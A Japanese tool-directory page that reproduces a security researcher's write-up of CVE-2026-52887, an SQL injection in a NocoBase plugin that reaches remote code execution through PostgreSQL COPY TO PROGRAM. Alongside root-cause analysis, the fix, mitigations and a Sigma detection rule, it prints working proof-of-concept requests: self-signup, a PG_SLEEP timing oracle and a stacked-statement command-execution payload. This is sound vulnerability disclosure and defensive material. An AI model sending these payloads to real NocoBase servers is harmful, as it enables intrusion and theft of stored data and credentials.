Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-52887-NocoBase-SQLi-RCE — CVE-2026-52887 — NocoBase SQLインジェクション -> PostgreSQLスーパーユーザーRCE(myInAppChannels:listフィルタ、CVSS 10.0)。作者PoC + ソース解析 + dockerラボ。 | Kitploit
ツール/GitHubGitHub/biitts/cve-2026-52887-nocobase-sqli-rce
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストデータベースセキュリティラボと実践
GitHubbiitts/cve-2026-52887-nocobase-sqli-rce

CVE-2026-52887-NocoBase-SQLi-RCE

CVE-2026-52887 — NocoBase SQLインジェクション -> PostgreSQLスーパーユーザーRCE(myInAppChannels:listフィルタ、CVSS 10.0)。作者PoC + ソース解析 + dockerラボ。

リポジトリを見る
272ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-52887 — NocoBase SQLインジェクション → PostgreSQLスーパーユーザーRCE

NocoBase の @nocobase/plugin-notification-in-app-message (≤ 2.0.60) が提供する myInAppChannels:list アクションにSQLインジェクションが存在します。filter[latestMsgReceiveTimestamp][$lt] リクエストパラメータは、エスケープやバインドが行われずに生の Sequelize.literal() SQL文字列へ直接挿入されます。PostgreSQLの pg ドライバがサポートするスタックドステートメントを介して、このインジェクションは COPY … TO PROGRAM に到達します。さらにベンダーのデフォルトcomposeは nocobase DBロールをスーパーユーザーとして作成するため、postgres OSユーザーとしてシェルコマンドを実行できます。このエンドポイントはログインユーザーを必要としますが、デフォルトのauth-basicプラグインにはセルフサインアップが有効な状態で同梱されているため、匿名の訪問者なら誰でも登録して到達できます。

CVECVE-2026-52887
製品NocoBase (@nocobase/plugin-notification-in-app-message)
影響を受けるバージョン≤ 2.0.60 (nocobase/nocobase:2.0.57 で検証済み)
修正バージョン2.0.61
分類SQLインジェクション (CWE-89) → OSコマンド実行
CVSS 3.110.0 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (GitHub CNA)
認証実質的に未認証 — デフォルトのauth-basicでは allowSignUp: true
ステータス脆弱性を確認済み — 2.0.57でエンドツーエンド検証済み

根本原因

packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts の myInAppChannels:list ハンドラ (2.0.57):

const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt
    ? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`)
    : null;

filter.latestMsgReceiveTimestamp.$lt はリクエストクエリ (filter[latestMsgReceiveTimestamp][$lt]=…) からそのまま取得され、Sequelize.literal() に連結されます — パラメータバインドも型変換もない生のSQLです。攻撃者は比較を閉じて任意のSQLを追加できます。

SQLiからRCEへ

  • NocoBaseは pg ドライバ経由でPostgreSQL上で動作しており、スタックドステートメント (… ; …) が許可されます。注入された断片は2つ目のステートメントを追加します。
  • ベンダーのデフォルト docker-compose.yml は、postgresイメージの POSTGRES_USER を使用して nocobase ロールを作成しますが、これは常にスーパーユーザーです。
  • スーパーユーザーは COPY (…) TO PROGRAM '<shell>' を実行でき、DBコンテナ内でpostgres OSユーザーとして <shell> を実行します。

未認証でエンドポイントに到達する

myInAppChannels のACLは loggedIn ですが、デフォルトの auth-basic プラグインには allowSignUp: true が同梱されています。匿名の攻撃者はセルフ登録 (POST /api/auth:signUp?authenticator=basic) してサインインし、ベアラートークンを取得して続行します — したがって、デフォルトインストールでは実質的に未認証です。

修正内容 (2.0.61)

defineMyInAppChannels.ts に parseLatestMsgReceiveTimestampLt() が追加されました。これは値を Number() に強制変換し (非有限・非数値の入力は400で拒否)、バインドされた比較に切り替えます:

Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt)

概念実証 (PoC)

$ python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
[+] self-registered 'lab_operator' via auth-basic signUp
[+] signed in, bearer token acquired
[*] time-based: PG_SLEEP(5)=5.03s  control=0.02s
[+] SQL injection confirmed (time-based)
[+] COPY TO PROGRAM sent (HTTP 200) - 'id > /tmp/proof 2>&1' executed as the postgres OS user

$ docker exec nb-pg cat /tmp/proof
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

生のHTTPチェーン:

POST /api/auth:signUp?authenticator=basic          {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic           {"account":"a","password":"P!ssw0rd1"}  → {"data":{"token":"…"}}

# time-based oracle (≈5s delay):
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0)%20AND%201=(SELECT%201%20FROM%20PG_SLEEP(5))--%20a
Authorization: Bearer <token>

# stacked-statement RCE:
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20'id%20>%20/tmp/proof'; --%20a
Authorization: Bearer <token>

--cmd は任意のシェルコマンドを受け付けます (リバースシェル、OASTコールバック、COPY (SELECT …) TO PROGRAM 'cat > /tmp/x' によるDB行の読み出しなど)。

ラボの再現手順

このホストにはdockerブリッジがないため、両コンテナをホストネットワークで実行します:

docker run -d --name nb-pg --network host \
  -e POSTGRES_USER=nocobase -e POSTGRES_PASSWORD=nocobase -e POSTGRES_DB=nocobase postgres:16
docker run -d --name nb-app --network host \
  -e DB_DIALECT=postgres -e DB_HOST=127.0.0.1 -e DB_PORT=5432 \
  -e DB_DATABASE=nocobase -e DB_USER=nocobase -e DB_PASSWORD=nocobase \
  -e APP_KEY=change-me -e APP_PORT=13000 nocobase/nocobase:2.0.57
# NocoBase auto-installs and serves on http://127.0.0.1:13000
python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
docker exec nb-pg cat /tmp/proof

修正版の境界 (拒否されます):

docker run ... nocobase/nocobase:2.0.61   # same steps
# the PG_SLEEP / COPY TO PROGRAM payloads return HTTP 400; a numeric $lt still returns 200

取得したトランスクリプトは EVIDENCE.txt を、ソースレベルのウォークスルーは ANALYSIS.md を参照してください。

判定

nocobase/nocobase:2.0.57 で脆弱性を確認済み。2つの独立した手法で検証しています:

  1. 時間ベースのブラインド — PG_SLEEP(5) ペイロードはレスポンスを約5.0秒遅延させますが、スリープを含まない同一リクエストは同じエンドポイントで約0.03秒で返ります (レートリミッターや再試行による人為的影響を除外)。
  2. スタックドステートメントRCE — リクエスト前に存在しなかったファイルに uid=999(postgres) gid=999(postgres) が含まれています。これはpostgres OSユーザーとして実行された id(1) の実際の出力であり、ペイロードのエコーではありません。

nocobase/nocobase:2.0.61 では修正済み — 両方のペイロードはHTTP 400を返しますが、数値の $lt は依然として200を返します。

影響

データベースコンテナ内でpostgres OSユーザーとしてリモートコード実行が可能です: NocoBaseデータベースの完全な読み書き、保存されたすべてのシークレットとユーザー資格情報の漏えい、さらに横展開の足がかりとなります。デフォルトインストールでは任意の匿名訪問者が到達できます。

対策

  • NocoBase ≥ 2.0.61 にアップグレードする。
  • アプリケーションのPostgreSQLロールをスーパーユーザーとして実行しない。アプリが必要とする権限のみを付与する (COPY … TO PROGRAM プリミティブを排除)。
  • 不要な場合は公開セルフサインアップを無効化する (allowSignUp: false)。

検出

filter[latestMsgReceiveTimestamp][$lt] の値が単純な数値でない myInAppChannels:list リクエスト、および COPY … TO PROGRAM を含むPostgreSQLログ:

GET /api/myInAppChannels:list  with filter[latestMsgReceiveTimestamp][$lt] containing
   non-numeric characters: ')', ';', 'SELECT', 'PG_SLEEP', 'COPY', '--'
postgres: statement: COPY (...) TO PROGRAM '...'

Sigma (Webサーバーアクセスログ):

title: NocoBase myInAppChannels SQL injection (CVE-2026-52887)
logsource: { category: webserver }
detection:
  selection:
    cs-uri-stem|contains: '/api/myInAppChannels:list'
    cs-uri-query|contains:
      - 'PG_SLEEP'
      - 'TO PROGRAM'
      - '$lt]=0)'
      - '$lt]=0);'
  condition: selection
level: critical

ライセンス

MIT. © Caio Fabrício (BiiTts).

ツールをダウンロード